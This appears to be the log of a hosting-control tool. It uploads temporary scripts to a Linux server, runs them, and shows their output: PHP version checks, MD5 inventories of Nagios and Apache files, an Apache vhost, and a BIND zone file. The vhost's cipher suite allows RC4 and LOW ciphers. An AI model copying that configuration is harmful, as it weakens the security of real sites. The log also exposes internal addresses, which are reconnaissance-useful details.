if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-31 12:35:59: 

chmod 755 /tmp/pkp386058; /tmp/pkp386058; rm /tmp/pkp386058

2025-12-31 12:36:00: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16


2025-12-31 12:36:00: 

PUT: /tmp/pkp714297

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-31 12:36:00: 

chmod 755 /tmp/pkp714297; /tmp/pkp714297; rm /tmp/pkp714297

2025-12-31 12:36:01: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2025-12-31 12:36:01: 

PUT: /tmp/pkp887740

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-31 12:36:01: 

chmod 755 /tmp/pkp887740; /tmp/pkp887740; rm /tmp/pkp887740

2025-12-31 12:36:01: 


status=ok


2025-12-31 12:36:01: 

PUT: /tmp/pkp582991

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 12:36:02: 

chmod 755 /tmp/pkp582991; /tmp/pkp582991; rm /tmp/pkp582991

2025-12-31 12:36:02: 
2025-12-31 12:36:02: 

PUT: /tmp/pkp111368

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_alive_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 12:36:02: 

chmod 755 /tmp/pkp111368; /tmp/pkp111368; rm /tmp/pkp111368

2025-12-31 12:36:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_alive_us.conf	1144

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/alive_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= e3abec79d5f117cc6ac30c88636dbdb6
MD5(/etc/apache2/sites-available/theyoungdesigners_stage.conf)= 1516a9c3e0f6707ee8508f17374a4965
MD5(/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt)= 16e37f95816efad64fa47f57af88785c
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 0d7ac0488abb570c4dee9f344699ee85
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 11f7b6884662bd4fc09883fceeb3679c
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= e3abec79d5f117cc6ac30c88636dbdb6
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/cityelectric_www_online.conf)= /etc/apache2/sites-available/cityelectric_www_online.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2/sites-available/theyoungdesigners_stage.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf




STDERR:
/tmp/pkp582991:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-12-31 12:36:18: Establishing a connection
2025-12-31 12:36:18: 

PUT: /tmp/pkp768398

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 12:36:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp768398; rm /tmp/pkp768398'

2025-12-31 12:36:19: 
2025-12-31 12:36:19: 

PUT: /tmp/pkp296012

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 12:36:19: 

chmod 755 /tmp/pkp296012; /tmp/pkp296012; rm /tmp/pkp296012

2025-12-31 12:36:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2154
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 133432170 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"t0GD64TbIMvmlrqrPEvFBesTOk314YIjmyLbgEAEnQQ"
_acme-challenge           60	 IN    TXT      	"Dl5rCYrykMwRx_7Hed_5gHvjZZser_qcTBZcpwCY6ro"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
city                      300	 IN    A        	10.140.12.86
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm                       		 IN    A        	46.102.156.201
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    CNAME    	home.stoughton.link.
_acme-challenge.home      60	 IN    TXT      	"bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
